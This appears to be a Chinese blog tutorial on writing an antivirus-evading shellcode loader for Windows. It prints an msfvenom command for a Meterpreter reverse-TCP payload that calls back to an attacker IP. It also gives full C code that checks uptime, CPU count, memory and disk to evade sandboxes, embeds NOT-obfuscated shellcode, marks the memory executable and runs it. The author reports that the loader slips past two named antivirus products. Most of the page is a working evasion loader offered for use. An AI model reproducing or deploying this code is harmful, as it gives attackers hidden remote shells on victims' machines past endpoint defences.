从0编写一个免杀加载器

0x00 导读

通过反沙箱与混淆shellcode绕过火绒上线metasploit。

0x01 基础知识

沙箱是啥

百度对沙箱的介绍:沙箱(网络编程虚拟执行环境)_百度百科 (baidu.com)

我对沙箱的理解:它是一个虚拟的系统,我们写的程序可以在这个系统里运行,它存在的作用是来帮助我们判断是不是可疑程序,因为不管你是什么东西跑起来看它干了什么事就知道了嘛。

0x02 生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.225.130 lport=6666 -f c
还是用msfvenom工具生成shellcode,-p参数是回连的载荷这里是32位的因为兼容性好一些,lhost是shellcode执行后回连的ip,这里是kali的ip,lport是要回连到哪一个端口上,-f参数是生成木马的类型。

0x03 代码解释与反沙箱思路

上面说过沙箱是一个虚拟的系统环境,只是用来检测恶意程序的,并不会考虑到用户正常的需求比如打游戏这些,所以沙箱的配置不会像我们的真实系统那么高,这样的话,我们可以通过判断,当前环境的硬盘大小,处理器的个数,系统的运行内存来确定当前程序是不是在沙箱中运行的,也可通过检测鼠标键盘等硬件设备来判断。

现在思路已经讲过了下面我们来看具体的代码流程和代码的实现。

代码流程:通过调用Windows Api来判断当前环境是不是沙箱->如果不是就对shellcode进行取反->然后再对取反的结果再取反还原我们的shellcode->载入内存->修改内存块权限并执行这块内存

下面是完整的代码。

#include <stdio.h>
#include <Windows.h>

int main()
{

    DWORD StartTime = GetTickCount();

    if (StartTime > 60000)
    {
        SYSTEM_INFO systeminfo = { 0 };
        GetSystemInfo(&systeminfo);
        DWORD CpuCount = systeminfo.dwNumberOfProcessors;
        if (CpuCount >= 4)
        {
            _MEMORYSTATUSEX Memory = { 0 };
            Memory.dwLength = sizeof(Memory);
            GlobalMemoryStatusEx(&Memory);
            DWORD MemorySize = Memory.ullAvailPhys;
            if (MemorySize >= 66339072)
            {
                TCHAR DiskName[512] = { 0 };

                GetLogicalDriveStrings(sizeof(DiskName), DiskName);

                DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0;
                GetDiskFreeSpaceEx(DiskName, (PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2);
                if (DiskBytes >= 97785600)
                {

                    if (malloc(10485760))
                    {
                        char buf[] =
                            "\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8
                            "\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
                            "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
                            "\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78"
                            "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
                            "\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
                            "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
                            "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
                            "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
                            "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
                            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
                            "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
                            "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02"
                            "\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
                            "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
                            "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
                            "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
                            "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
                            "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
                            "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
                            "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
                            "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
                            "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
                            "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
                        char buf2[sizeof(buf)] = { 0 };
                        char buf3[sizeof(buf)] = { 0 };
                        for (int s = 0; s < sizeof(buf); s++)
                        {
                            buf2[s] = ~buf[s];

                        }
                        for (int s = 0; s < sizeof(buf); s++)
                        {
                            buf3[s] = ~buf2[s];
                        }
                        buf3[0] = 0xfc;
                        buf3[1] = 0xe8;
                        char* exec = (char*)malloc(sizeof(buf));
                        CopyMemory(exec, buf3, sizeof(buf));

                        DWORD a = 0;
                        VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a);
                        ((char(*)())exec)();

                    }

                }

            }
        }
    }
}

判断系统运行时间

因为沙箱不会一直在运行,只是在我们使用它的时候才会开启这个环境,所以我们可以通过判断系统的运行时间来判断是不是沙箱。

DWORD StartTime = GetTickCount();
代码解释:定义一个变量用于接收GetTickCount()函数的返回值,这个函数功能是获取从系统启动到现在的时间,单位是毫秒,

if (StartTime > 60000)判断系统启动时间大不大与这个值,如果条件为真就执行if语句下的代码。

判断处理器数量

SYSTEM_INFO systeminfo = { 0 };这里定义一个SYSTEM_INFO类型的结构体,用来存储系统相关信息比如处理器的类型,处理器数量,页面的大小等信息。

GetSystemInfo(&systeminfo);这个函数功能是获取系统信息,参数是上面定义的结构体的地址,也就是说通过这个函数获取到的信息,保存到上面这个结构体里。

DWORD CpuCount = systeminfo.dwNumberOfProcessors;定义一个变量用来接收dwNumberOfProcessors成员的值,这个成员存放的是处理器的数量。

if (CpuCount >= 4)这里通过判断处理器数量大于或等于4如果符合条件就执行下面代码,为什么要判断处理器的数量上面已经说过了,只是用于判断是不是在沙箱里。

判断系统内存大小

_MEMORYSTATUSEX Memory = { 0 };还是定义一个结构体,_MEMORYSTATUSEX类型,用于存储物理内存与虚拟内存相关信息。

Memory.dwLength = sizeof(Memory);给结构体成员dwLength复制这个成员代表这个结构体的大小,单位是字节。

GlobalMemoryStatusEx(&Memory);这个函数用于获取系统的内存信息,参数是一个指针指向上面定义的结构体即可,就是通过这个函数获取到的信息,放到_MEMORYSTATUSEX类型的结构体里。

DWORD MemorySize = Memory.ullAvailPhys;定义一个变量用来接收ullAvailPhys成员的值这个成员代表可用物理内存的大小,单位是字节。

if (MemorySize >= 66339072)判断物理内存的大小大于或等于这个值(这里只是随便写的一个值,可以根据情况做修改),如果符合条件就执行下面的代码。

判断磁盘大小

TCHAR DiskName[512] = { 0 };定义一个TCHAR类型的数组用于存储驱动器根路径。

GetLogicalDriveStrings(sizeof(DiskName), DiskName);函数功能,用于获取驱动器,并返回驱动器根路径,第一个参数是缓冲区大小,第二个参数是指向缓冲区的指针。

DWORD DiskBytes = 0, DiskSpace = 0, DiskSpace2 = 0;定义三个DWORD类型的变量用于存储磁盘相关信息。

GetDiskFreeSpaceEx(DiskName,(PULARGE_INTEGER)&DiskBytes, (PULARGE_INTEGER)&DiskSpace, (PULARGE_INTEGER)&DiskSpace2);

 

这个函数用于获取磁盘容量相关信息,第一个参数是磁盘目录,也就是上面说的驱动器根路径,第二个参数是该磁盘可用字节数,第三个参数是磁盘一共有多大,第四个参数是磁盘上空闲的空间大小,还是以字节为单位。

if (DiskBytes >= 97785600)判断磁盘可用空间大于或等于这个值,如果条件成立就执行下面的代码。

if (malloc(10485760))分配一块内存,如果内存分配失败则会返回NULL分配成功则返回一个地址。

至此已经把反沙箱的代码解释完了,可能有些简陋,如果又更好的思路欢迎评论,下面来看对shellcode做取反的代码。

取反运算解释

取反运算符:~也就是tab键上面那个键。
取反是逻辑运算的一种,就是把1变成0,0变成1,

char buf[] =
                            "\xff\xee\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"//ff=fc,ee=e8
                            "\x0c\x8b\x52\x14\x89\xe5\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
                            "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
                            "\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x57\x8b\x40\x78"
                            "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
                            "\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
                            "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
                            "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
                            "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
                            "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
                            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
                            "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
                            "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xe1\x82\x68\x02"
                            "\x00\x1a\x0a\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
                            "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
                            "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
                            "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
                            "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
                            "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
                            "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
                            "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
                            "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
                            "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
                            "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

上面是我们生成的shellcode。

char buf2[sizeof(buf)] = { 0 };
char buf3[sizeof(buf)] = { 0 };

 

 这里定义两个数组,并全部初始化为0,一个用于存储取反后的shellcode,一个用于存储还原的shellcode。

for (int s = 0; s < sizeof(buf); s++)
{
    buf2[s] = ~buf[s];

}

这行代码大致意思是,循环数组中的shellcode,并一个一个的对它们进行取反操作,并将取反的结果存放至buf2的数组,循环条件是数组的大小。

for (int s = 0; s < sizeof(buf); s++)
{
    buf3[s] = ~buf2[s];
}

 这行代码功能是还原我们取反后的shellcode,还是循环遍历数组中的shellcode,然后依次做取反操作。

buf3[0] = 0xfc;
buf3[1] = 0xe8;

注意因为还原后的shellcode有一些字符被我们改过了,所以这里需要再改过来,也就是把ff改成fcee修改为e8

加载shellcode到内存

后面这些就落入俗套了,就是申请块内存然后修改内存的属性为可执行,然后函数指针执行。

char* exec = (char*)malloc(sizeof(buf)); 定义一个char*类型的指针来指向malloc函数申请的内存,malloc函数是申请一块内存,只有一个参数,就是申请内存大小,这里用sizeof(buf)来计算shellcode的大小。

CopyMemory(exec, buf3, sizeof(buf));这个函数功能是,把shellcode复制到内存里,功能和memcpy函数一样,第一个参数是拷贝到哪里,第二个参数是从哪里拷贝数据(数据来源),第三个参数是拷贝多少字节。

DWORD a = 0;
VirtualProtect(exec, sizeof(buf), PAGE_EXECUTE_READWRITE, &a);

DWORD a=0用于定义一个变量,用于存放内存的原始属性,供VirtualProtect函数使用。

VirtualProtect函数是修改内存块的属性,第一个参数是从哪里修改,第二个是修改大的内存,第三个参数是要修改成什么属性PAGE_EXECUTE_READWRITE是可读可写可执行,最后一个参数,内存原始的属性保存的地址,也就是上面定义的变量地址。

((char(*)())exec)();定义了一个函数指针,来执行这块内存,函数指针其实就是一个指向函数的指针,可以通过这个指针来调用我们的函数,也可以使用内联汇编来调用这块内存。

__asm
{
    call exec;
}

 call其实就是执行这个函数,关于这个指令就不多说了。

0x04 结果

 360

0x05 总结

过程分析

这里来测试一下,看是哪一部分代码绕过了杀软的沙箱,我们先注释掉反沙箱的代码生成一下子,可以看到直接被火绒查出来了,这里对shellcode进行了取反操作。但还是被查杀了。

我们继续尝试,只判断系统运行时间看会不会被杀,可以看到依然被杀了,继续尝试判断处理器的数量,看会不会查杀,这次判断了处理器的数量就没有被杀也可以上线(这里判断处理器数量是4,现在电脑处理器数量基本上都是4或以上的吧)。

判断处理器数量之后就不会被杀

 

 我们把判断处理器数量的条件改成判断一个或以上的处理器,哎嘿就被杀了,这里就可以印证上面说的沙箱配置会比真实的系统差一些。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值